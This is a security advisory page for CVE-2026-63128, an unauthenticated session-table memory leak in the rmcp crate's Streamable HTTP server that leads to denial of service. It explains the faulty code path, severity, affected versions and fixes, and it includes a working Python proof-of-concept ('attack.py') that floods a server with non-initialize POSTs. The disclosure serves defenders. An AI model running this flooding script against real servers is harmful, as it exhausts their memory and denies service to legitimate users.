CVE-2026-63128: RMCP Unauthenticated Permanent Session-table Leak Vulnerability

HIGH
Advisory Identifier: GHSA-9pj6-vhgr-3mwh
CVSS 7.5
CWE-400 CWE-772 CWE-401
Published
Advisory Summary

CVE-2026-63128 is a HIGH (CVSS 7.5) unauthenticated permanent session-table leak vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting RMCP libraries in the crates.io ecosystem. The issue involves unauthenticated permanent session-table leak in rmcp streamable http server transport leads to remote denial-of-service. Remediation is available by upgrading affected packages to version 2.0.0.

CVE-2026-63128 at a Glance

CVE Identifier CVE-2026-63128
GHSA Identifier GHSA-9pj6-vhgr-3mwh
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product RMCP
Package Ecosystem crates.io
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-63128

To remediate this vulnerability, upgrade all affected RMCP dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

rmcp fixed: 2.0.0
Upgrade rmcp to 2.0.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for rmcp

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-63128, inspect your project dependencies for RMCP:

inspect dependencies for rmcp

Analyze the terminal output to locate any version of RMCP in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.0.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In RMCP, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of `LocalSessionManager` by sending a well-formed JSON-RPC `POST` that is *not* an `InitializeRequest`. The Streamable HTTP server's `handle_post` allocates the session **before** it validates the body, then early-returns on the validation failure without calling `close_session`. The `LocalSessionHandle` (and the tokio mpsc channel internals it holds) is never released for the remainder of the process's lifetime — turning a ~250-byte request into a permanent ~400–550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly **170 million leaked entries per day**, equivalent to **≈75 GB** of resident memory just from the session table. ### Details The bug lives in `crates/rmcp/src/transport/streamable_http_server/tower.rs` inside `StreamableHttpService::handle_post`. The relevant slice of `1.7.0` source (lines `1126–1170`) is: ```rust } else { let (session_id, transport) = self .session_manager .create_session() // (★) .await .map_err(internal_error_response("create session"))?; // ...capture init params if a SessionStore is configured... if let ClientJsonRpcMessage::Request(req) = &mut message { let ClientRequest::InitializeRequest(init_req) = &req.request else { return Err(unexpected_message_response("initialize request")); // (A) }; validate_header_matches_init_body( // (B) &part.headers, init_req.params.protocol_version.as_str(), Some(req.id.clone()), )?; req.request.extensions_mut().insert(part); } else { return Err(unexpected_message_response("initialize request")); // (C) } let service = self .get_service() // (D) .map_err(internal_error_response("get service"))?; Self::spawn_session_worker( // (★★) self.session_manager.clone(), session_id.clone(), service, transport, None, ); // ...persist to external store, send response... } ``` Two facts make this unsafe: 1. `(★)` inserts a `LocalSessionHandle` into `LocalSessionManager.sessions` (a `tokio::sync::RwLock<HashMap<SessionId, LocalSessionHandle>>`) and spawns a `LocalSessionWorker` task. 2. `(★★)` `spawn_session_worker` is the **only** code path in the entire transport (besides a client-initiated HTTP `DELETE` reaching `handle_delete`) that ever invokes `self.session_manager.close_session(&session_id)`. Therefore the four early-returns `(A)`, `(B)`, `(C)`, and `(D)` all skip the cleanup. What happens concretely after such an early return: - The local `transport: WorkerTransport<LocalSessionWorker>` goes out of scope; its `_drop_guard` cancels the worker's `CancellationToken`. - The worker, which had been awaiting `event_rx.recv()`, exits within milliseconds via `WorkerQuitReason::Cancelled`. Its `event_rx` receiver is dropped. - `LocalSessionHandle.event_tx` (the `Sender` half of the same mpsc channel) is still alive **because it is owned by the HashMap entry that nothing ever removes**. The channel's `Inner` (sized to `channel_capacity = 16` by default) remains pinned in memory. Because the worker has already exited, the `SessionConfig::keep_alive` and `init_timeout` cleanup paths cannot run either — they only fire from inside a running worker. The leak is therefore **permanent for the lifetime of the server process** and grows unbounded with sustained traffic. The bug is reachable with **zero authentication**, the **default** `StreamableHttpServerConfig`, and the **default** `LocalSessionManager`. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate `Host: <bound-address>` value and is allowed through `validate_dns_rebinding_headers` normally. A secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes `self.sessions.write().await` or `.read().await` against the same `RwLock`. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, **before** the box runs out of memory. ### Proof of concept The reproduction is fully self-contained — no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands. #### Step 1 — server harness `Cargo.toml` (paste verbatim): ```toml [package] name = "rmcp_leak_repro" version = "0.0.1" edition = "2021" publish = false [dependencies] rmcp = { version = "1.7.0", default-features = false, features = [ "server", "transport-streamable-http-server", ] } tokio = { version = "1", features = ["macros", "rt-multi-thread", "signal", "sync", "time"] } tokio-util = { version = "0.7" } axum = { version = "0.8", default-features = false, features = ["http1", "tokio"] } anyhow = "1" [workspace] ``` `src/main.rs` (paste verbatim): ```rust //! Minimal MCP Streamable HTTP server that prints the size of the //! LocalSessionManager.sessions HashMap once a second so the leak is //! observable from stdout. use std::sync::Arc; use rmcp::{ ErrorData, RoleServer, ServerHandler, model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities}, service::RequestContext, transport::{ StreamableHttpServerConfig, StreamableHttpService, streamable_http_server::session::local::LocalSessionManager, }, }; const BIND_ADDRESS: &str = "127.0.0.1:8000"; #[derive(Clone, Default)] struct MinimalServer; impl ServerHandler for MinimalServer { async fn initialize( &self, _request: InitializeRequestParams, _cx: RequestContext<RoleServer>, ) -> Result<InitializeResult, ErrorData> { Ok(InitializeResult::new(ServerCapabilities::builder().build()) .with_server_info(Implementation::new("rmcp-leak-repro", "0.0.1"))) } } #[tokio::main] async fn main() -> anyhow::Result<()> { let ct = tokio_util::sync::CancellationToken::new(); let manager: Arc<LocalSessionManager> = Arc::new(LocalSessionManager::default()); // Reporter — prints sessions.len() every second. { let manager = manager.clone(); let ct = ct.clone(); tokio::spawn(async move { loop { tokio::select! { _ = ct.cancelled() => break, _ = tokio::time::sleep(std::time::Duration::from_secs(1)) => { let n = manager.sessions.read().await.len(); println!("[count] active_sessions={n}"); } } } }); } let service = StreamableHttpService::new( || Ok(MinimalServer::default()), manager.clone(), StreamableHttpServerConfig::default().with_cancellation_token(ct.child_token()), ); let router = axum::Router::new().nest_service("/mcp", service); let tcp_listener = tokio::net::TcpListener::bind(BIND_ADDRESS).await?; println!("[server] listening on http://{BIND_ADDRESS}/mcp"); let _ = axum::serve(tcp_listener, router) .with_graceful_shutdown(async move { tokio::signal::ctrl_c().await.ok(); ct.cancel(); }) .await; Ok(()) } ``` Start it: ```bash cargo run --release ``` Initial output: ``` [server] listening on http://127.0.0.1:8000/mcp [count] active_sessions=0 [count] active_sessions=0 [count] active_sessions=0 ``` #### Step 2 — attacker `attack.py` (paste verbatim — Python 3 standard library only, no `pip install` required): ```python import http.client, json, sys, time HOST, PORT, PATH = "127.0.0.1", 8000, "/mcp" # A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`, # but NOT an `InitializeRequest`. The server's `let ... else` pattern at # tower.rs:1148 rejects it after the session has already been created # at tower.rs:1129. body = json.dumps({ "jsonrpc": "2.0", "id": 1, "method": "tools/list", "params": {}, }).encode("ascii") headers = { "Host": f"{HOST}:{PORT}", # passes allowed_hosts "Content-Type": "application/json", "Accept": "application/json, text/event-stream", "Content-Length": str(len(body)), } n = int(sys.argv[1]) if len(sys.argv) > 1 else 1000 print(f"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}") start = time.monotonic() leaked = 0 for i in range(n): conn = http.client.HTTPConnection(HOST, PORT, timeout=5) conn.request("POST", PATH, body=body, headers=headers) resp = conn.getresponse() status = resp.status resp.read() conn.close() if status == 422: leaked += 1 elapsed = time.monotonic() - start print(f"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).") ``` Run it: ```bash python3 attack.py 1000 ``` #### Step 3 — observed evidence Attacker output (verbatim, measured on Rust 1.92.0 stable, macOS): ``` [client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp [client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422). ``` Server output during and after the attack: ``` [count] active_sessions=0 [count] active_sessions=0 [count] active_sessions=0 [count] active_sessions=844 [count] active_sessions=1000 <-- attack complete, attacker has disconnected [count] active_sessions=1000 [count] active_sessions=1000 [count] active_sessions=1000 [count] active_sessions=1000 <-- 20+ seconds later, still 1000 [count] active_sessions=1000 [count] active_sessions=1000 ``` The behavioural evidence that confirms the vulnerability: - Every one of the 1 000 requests took the leak branch (`HTTP 422 Unprocessable Entity` with body `Unexpected message, expect initialize request`). - A single Python client sustained `1000 / 0.46 ≈ 2 174` leak requests per second. - After the attacker exited, `active_sessions=1000` never decreased. The session table holds those entries for the rest of the process's lifetime. <!-- Optional: drop in a terminal screenshot here. Two screenshots (server console / attacker console) or one side-by-side capture are both fine. Filenames can be anything you like; suggested: ![server console — active_sessions climbs to 1000 and remains](server.png) ![attacker console — 1000/1000 HTTP 422 in 0.46s](attacker.png) --> <img width="3554" height="1468" alt="poc" src="https://github.com/user-attachments/assets/48e51c27-c0b9-4bf9-ab3f-d56193ac6da6" /> ### Impact - **Attack vector**: Network (AV:N). The listener binds a TCP port; the default `allowed_hosts = ["localhost", "127.0.0.1", "::1"]` accepts anything reaching it over the loopback interface. In the dominant deployment model — a Streamable HTTP MCP server embedded into an IDE or local agent — any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened `allowed_hosts` to a public hostname, the attack is reachable from the network. - **Authentication required**: None. - **User interaction required**: None. - **Result**: Denial of Service. Memory grows linearly with attacker request volume (~400–550 bytes per leaked entry, including the `SessionId` `Arc<str>`, the `LocalSessionHandle` struct, and the half-dropped mpsc channel `Inner`). At the measured rate of 2 174 leak requests per second from one Python client: - **1 hour**: ~7.8 M entries, ≈3.5 GB - **1 day**: ~187 M entries, ≈84 GB - **1 week**: process is long dead from OOM - **Secondary effect**: `LocalSessionManager.sessions` is behind a `tokio::sync::RwLock`. Every legitimate session operation (`has_session`, `create_session`, `close_session`, `restore_session`) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM. - **Worst case**: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack. ### Suggested fix Two minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts. 1. **Validate before allocating.** Move the `ClientJsonRpcMessage::Request(InitializeRequest)` discriminant check and the `validate_header_matches_init_body` call **above** the `self.session_manager.create_session().await` line. Reject non-initialize bodies with `422` *before* any state is created. This removes a class of bugs rather than patching one path. The downside is that `validate_header_matches_init_body` currently reads `init_req.params.protocol_version`, so the `InitializeRequest` discriminant has to be deconstructed earlier — a small refactor. 2. **RAII guard for the session.** Wrap the `session_id` returned by `create_session` in a guard whose `Drop` impl spawns a `close_session` call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically — including future early-returns that reviewers might miss. A regression test that asserts `session_manager.sessions.read().await.len() == 0` after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.

CVE-2026-63128 Affected RMCP Versions

1 component(s)
Fixed Versions:
2.0.0
Product / Package Ecosystem Affected Versions Fixed Version
rmcp
crates.io
< 2.0.0
2.0.0

References

Frequently Asked Questions

What is CVE-2026-63128?
CVE-2026-63128 is a security vulnerability in RMCP involving Unauthenticated permanent session-table leak in rmcp Streamable HTTP server transport leads to remote denial-of-service under CWE-400: Uncontrolled Resource Consumption.
Which RMCP versions are affected?
Affected versions include releases prior to 2.0.0 across affected packages: rmcp.
What version fixes CVE-2026-63128?
Upgrading to 2.0.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is rmcp affected?
Yes, rmcp is affected in releases prior to 2.0.0. Upgrade your dependency to 2.0.0 or later.
What is the CVSS score of CVE-2026-63128?
CVE-2026-63128 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-63128?
CVE-2026-63128 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check crates.io dependencies for CVE-2026-63128?
Run the dependency tree command: 'inspect dependencies for rmcp'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9pj6-vhgr-3mwh",
  "modified" : "2026-09-16T22:13:34Z",
  "published" : "2026-09-16T22:13:34Z",
  "aliases" : [ "CVE-2026-63128" ],
  "summary" : "RMCP: Unauthenticated permanent session-table leak in rmcp Streamable HTTP server transport leads to remote denial-of-service",
  "details" : "### Summary\n\nAn unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of `LocalSessionManager` by sending a well-formed JSON-RPC `POST` that is *not* an `InitializeRequest`. The Streamable HTTP server's `handle_post` allocates the session **before** it validates the body, then early-returns on the validation failure without calling `close_session`. The `LocalSessionHandle` (and the tokio mpsc channel internals it holds) is never released for the remainder of the process's lifetime — turning a ~250-byte request into a permanent ~400–550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly **170 million leaked entries per day**, equivalent to **≈75 GB** of resident memory just from the session table.\n\n### Details\n\nThe bug lives in `crates/rmcp/src/transport/streamable_http_server/tower.rs` inside `StreamableHttpService::handle_post`. The relevant slice of `1.7.0` source (lines `1126–1170`) is:\n\n```rust\n} else {\n    let (session_id, transport) = self\n        .session_manager\n        .create_session()                                                  // (★)\n        .await\n        .map_err(internal_error_response(\"create session\"))?;\n    // ...capture init params if a SessionStore is configured...\n    if let ClientJsonRpcMessage::Request(req) = &mut message {\n        let ClientRequest::InitializeRequest(init_req) = &req.request else {\n            return Err(unexpected_message_response(\"initialize request\")); // (A)\n        };\n        validate_header_matches_init_body(                                 // (B)\n            &part.headers,\n            init_req.params.protocol_version.as_str(),\n            Some(req.id.clone()),\n        )?;\n        req.request.extensions_mut().insert(part);\n    } else {\n        return Err(unexpected_message_response(\"initialize request\"));     // (C)\n    }\n    let service = self\n        .get_service()                                                     // (D)\n        .map_err(internal_error_response(\"get service\"))?;\n    Self::spawn_session_worker(                                            // (★★)\n        self.session_manager.clone(),\n        session_id.clone(),\n        service,\n        transport,\n        None,\n    );\n    // ...persist to external store, send response...\n}\n```\n\nTwo facts make this unsafe:\n\n1. `(★)` inserts a `LocalSessionHandle` into `LocalSessionManager.sessions` (a `tokio::sync::RwLock<HashMap<SessionId, LocalSessionHandle>>`) and spawns a `LocalSessionWorker` task.\n2. `(★★)` `spawn_session_worker` is the **only** code path in the entire transport (besides a client-initiated HTTP `DELETE` reaching `handle_delete`) that ever invokes `self.session_manager.close_session(&session_id)`.\n\nTherefore the four early-returns `(A)`, `(B)`, `(C)`, and `(D)` all skip the cleanup. What happens concretely after such an early return:\n\n- The local `transport: WorkerTransport<LocalSessionWorker>` goes out of scope; its `_drop_guard` cancels the worker's `CancellationToken`.\n- The worker, which had been awaiting `event_rx.recv()`, exits within milliseconds via `WorkerQuitReason::Cancelled`. Its `event_rx` receiver is dropped.\n- `LocalSessionHandle.event_tx` (the `Sender` half of the same mpsc channel) is still alive **because it is owned by the HashMap entry that nothing ever removes**. The channel's `Inner` (sized to `channel_capacity = 16` by default) remains pinned in memory.\n\nBecause the worker has already exited, the `SessionConfig::keep_alive` and `init_timeout` cleanup paths cannot run either — they only fire from inside a running worker. The leak is therefore **permanent for the lifetime of the server process** and grows unbounded with sustained traffic.\n\nThe bug is reachable with **zero authentication**, the **default** `StreamableHttpServerConfig`, and the **default** `LocalSessionManager`. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate `Host: <bound-address>` value and is allowed through `validate_dns_rebinding_headers` normally.\n\nA secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes `self.sessions.write().await` or `.read().await` against the same `RwLock`. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, **before** the box runs out of memory.\n\n### Proof of concept\n\nThe reproduction is fully self-contained — no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands.\n\n#### Step 1 — server harness\n\n`Cargo.toml` (paste verbatim):\n\n```toml\n[package]\nname = \"rmcp_leak_repro\"\nversion = \"0.0.1\"\nedition = \"2021\"\npublish = false\n\n[dependencies]\nrmcp = { version = \"1.7.0\", default-features = false, features = [\n    \"server\",\n    \"transport-streamable-http-server\",\n] }\ntokio = { version = \"1\", features = [\"macros\", \"rt-multi-thread\", \"signal\", \"sync\", \"time\"] }\ntokio-util = { version = \"0.7\" }\naxum = { version = \"0.8\", default-features = false, features = [\"http1\", \"tokio\"] }\nanyhow = \"1\"\n\n[workspace]\n```\n\n`src/main.rs` (paste verbatim):\n\n```rust\n//! Minimal MCP Streamable HTTP server that prints the size of the\n//! LocalSessionManager.sessions HashMap once a second so the leak is\n//! observable from stdout.\n\nuse std::sync::Arc;\n\nuse rmcp::{\n    ErrorData, RoleServer, ServerHandler,\n    model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities},\n    service::RequestContext,\n    transport::{\n        StreamableHttpServerConfig, StreamableHttpService,\n        streamable_http_server::session::local::LocalSessionManager,\n    },\n};\n\nconst BIND_ADDRESS: &str = \"127.0.0.1:8000\";\n\n#[derive(Clone, Default)]\nstruct MinimalServer;\n\nimpl ServerHandler for MinimalServer {\n    async fn initialize(\n        &self,\n        _request: InitializeRequestParams,\n        _cx: RequestContext<RoleServer>,\n    ) -> Result<InitializeResult, ErrorData> {\n        Ok(InitializeResult::new(ServerCapabilities::builder().build())\n            .with_server_info(Implementation::new(\"rmcp-leak-repro\", \"0.0.1\")))\n    }\n}\n\n#[tokio::main]\nasync fn main() -> anyhow::Result<()> {\n    let ct = tokio_util::sync::CancellationToken::new();\n    let manager: Arc<LocalSessionManager> = Arc::new(LocalSessionManager::default());\n\n    // Reporter — prints sessions.len() every second.\n    {\n        let manager = manager.clone();\n        let ct = ct.clone();\n        tokio::spawn(async move {\n            loop {\n                tokio::select! {\n                    _ = ct.cancelled() => break,\n                    _ = tokio::time::sleep(std::time::Duration::from_secs(1)) => {\n                        let n = manager.sessions.read().await.len();\n                        println!(\"[count] active_sessions={n}\");\n                    }\n                }\n            }\n        });\n    }\n\n    let service = StreamableHttpService::new(\n        || Ok(MinimalServer::default()),\n        manager.clone(),\n        StreamableHttpServerConfig::default().with_cancellation_token(ct.child_token()),\n    );\n\n    let router = axum::Router::new().nest_service(\"/mcp\", service);\n    let tcp_listener = tokio::net::TcpListener::bind(BIND_ADDRESS).await?;\n    println!(\"[server] listening on http://{BIND_ADDRESS}/mcp\");\n\n    let _ = axum::serve(tcp_listener, router)\n        .with_graceful_shutdown(async move {\n            tokio::signal::ctrl_c().await.ok();\n            ct.cancel();\n        })\n        .await;\n    Ok(())\n}\n```\n\nStart it:\n\n```bash\ncargo run --release\n```\n\nInitial output:\n\n```\n[server] listening on http://127.0.0.1:8000/mcp\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=0\n```\n\n#### Step 2 — attacker\n\n`attack.py` (paste verbatim — Python 3 standard library only, no `pip install` required):\n\n```python\nimport http.client, json, sys, time\n\nHOST, PORT, PATH = \"127.0.0.1\", 8000, \"/mcp\"\n\n# A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`,\n# but NOT an `InitializeRequest`. The server's `let ... else` pattern at\n# tower.rs:1148 rejects it after the session has already been created\n# at tower.rs:1129.\nbody = json.dumps({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"tools/list\",\n    \"params\": {},\n}).encode(\"ascii\")\n\nheaders = {\n    \"Host\": f\"{HOST}:{PORT}\",                        # passes allowed_hosts\n    \"Content-Type\": \"application/json\",\n    \"Accept\": \"application/json, text/event-stream\",\n    \"Content-Length\": str(len(body)),\n}\n\nn = int(sys.argv[1]) if len(sys.argv) > 1 else 1000\nprint(f\"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}\")\nstart = time.monotonic()\nleaked = 0\nfor i in range(n):\n    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)\n    conn.request(\"POST\", PATH, body=body, headers=headers)\n    resp = conn.getresponse()\n    status = resp.status\n    resp.read()\n    conn.close()\n    if status == 422:\n        leaked += 1\nelapsed = time.monotonic() - start\nprint(f\"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).\")\n```\n\nRun it:\n\n```bash\npython3 attack.py 1000\n```\n\n#### Step 3 — observed evidence\n\nAttacker output (verbatim, measured on Rust 1.92.0 stable, macOS):\n\n```\n[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp\n[client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).\n```\n\nServer output during and after the attack:\n\n```\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=844\n[count] active_sessions=1000      <-- attack complete, attacker has disconnected\n[count] active_sessions=1000\n[count] active_sessions=1000\n[count] active_sessions=1000\n[count] active_sessions=1000      <-- 20+ seconds later, still 1000\n[count] active_sessions=1000\n[count] active_sessions=1000\n```\n\nThe behavioural evidence that confirms the vulnerability:\n\n- Every one of the 1 000 requests took the leak branch (`HTTP 422 Unprocessable Entity` with body `Unexpected message, expect initialize request`).\n- A single Python client sustained `1000 / 0.46 ≈ 2 174` leak requests per second.\n- After the attacker exited, `active_sessions=1000` never decreased. The session table holds those entries for the rest of the process's lifetime.\n\n<!--\n  Optional: drop in a terminal screenshot here. Two screenshots\n  (server console / attacker console) or one side-by-side capture are\n  both fine. Filenames can be anything you like; suggested:\n    ![server console — active_sessions climbs to 1000 and remains](server.png)\n    ![attacker console — 1000/1000 HTTP 422 in 0.46s](attacker.png)\n-->\n\n<img width=\"3554\" height=\"1468\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/48e51c27-c0b9-4bf9-ab3f-d56193ac6da6\" />\n\n\n### Impact\n\n- **Attack vector**: Network (AV:N). The listener binds a TCP port; the default `allowed_hosts = [\"localhost\", \"127.0.0.1\", \"::1\"]` accepts anything reaching it over the loopback interface. In the dominant deployment model — a Streamable HTTP MCP server embedded into an IDE or local agent — any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened `allowed_hosts` to a public hostname, the attack is reachable from the network.\n- **Authentication required**: None.\n- **User interaction required**: None.\n- **Result**: Denial of Service. Memory grows linearly with attacker request volume (~400–550 bytes per leaked entry, including the `SessionId` `Arc<str>`, the `LocalSessionHandle` struct, and the half-dropped mpsc channel `Inner`). At the measured rate of 2 174 leak requests per second from one Python client:\n    - **1 hour**: ~7.8 M entries, ≈3.5 GB\n    - **1 day**: ~187 M entries, ≈84 GB\n    - **1 week**: process is long dead from OOM\n- **Secondary effect**: `LocalSessionManager.sessions` is behind a `tokio::sync::RwLock`. Every legitimate session operation (`has_session`, `create_session`, `close_session`, `restore_session`) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM.\n- **Worst case**: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.\n\n### Suggested fix\n\nTwo minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.\n\n1. **Validate before allocating.** Move the `ClientJsonRpcMessage::Request(InitializeRequest)` discriminant check and the `validate_header_matches_init_body` call **above** the `self.session_manager.create_session().await` line. Reject non-initialize bodies with `422` *before* any state is created. This removes a class of bugs rather than patching one path. The downside is that `validate_header_matches_init_body` currently reads `init_req.params.protocol_version`, so the `InitializeRequest` discriminant has to be deconstructed earlier — a small refactor.\n2. **RAII guard for the session.** Wrap the `session_id` returned by `create_session` in a guard whose `Drop` impl spawns a `close_session` call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically — including future early-returns that reviewers might miss.\n\nA regression test that asserts `session_manager.sessions.read().await.len() == 0` after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "rmcp"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-9pj6-vhgr-3mwh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-63128"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/modelcontextprotocol/rust-sdk/pull/934"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/modelcontextprotocol/rust-sdk/commit/dfa7fd6f9309deab60bea230b041be9a3fcda846"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/modelcontextprotocol/rust-sdk"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/modelcontextprotocol/rust-sdk/releases/tag/rmcp-v2.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-401", "CWE-772" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-16T22:13:34Z",
    "nvd_published_at" : "2026-09-16T15:17:39Z"
  }
}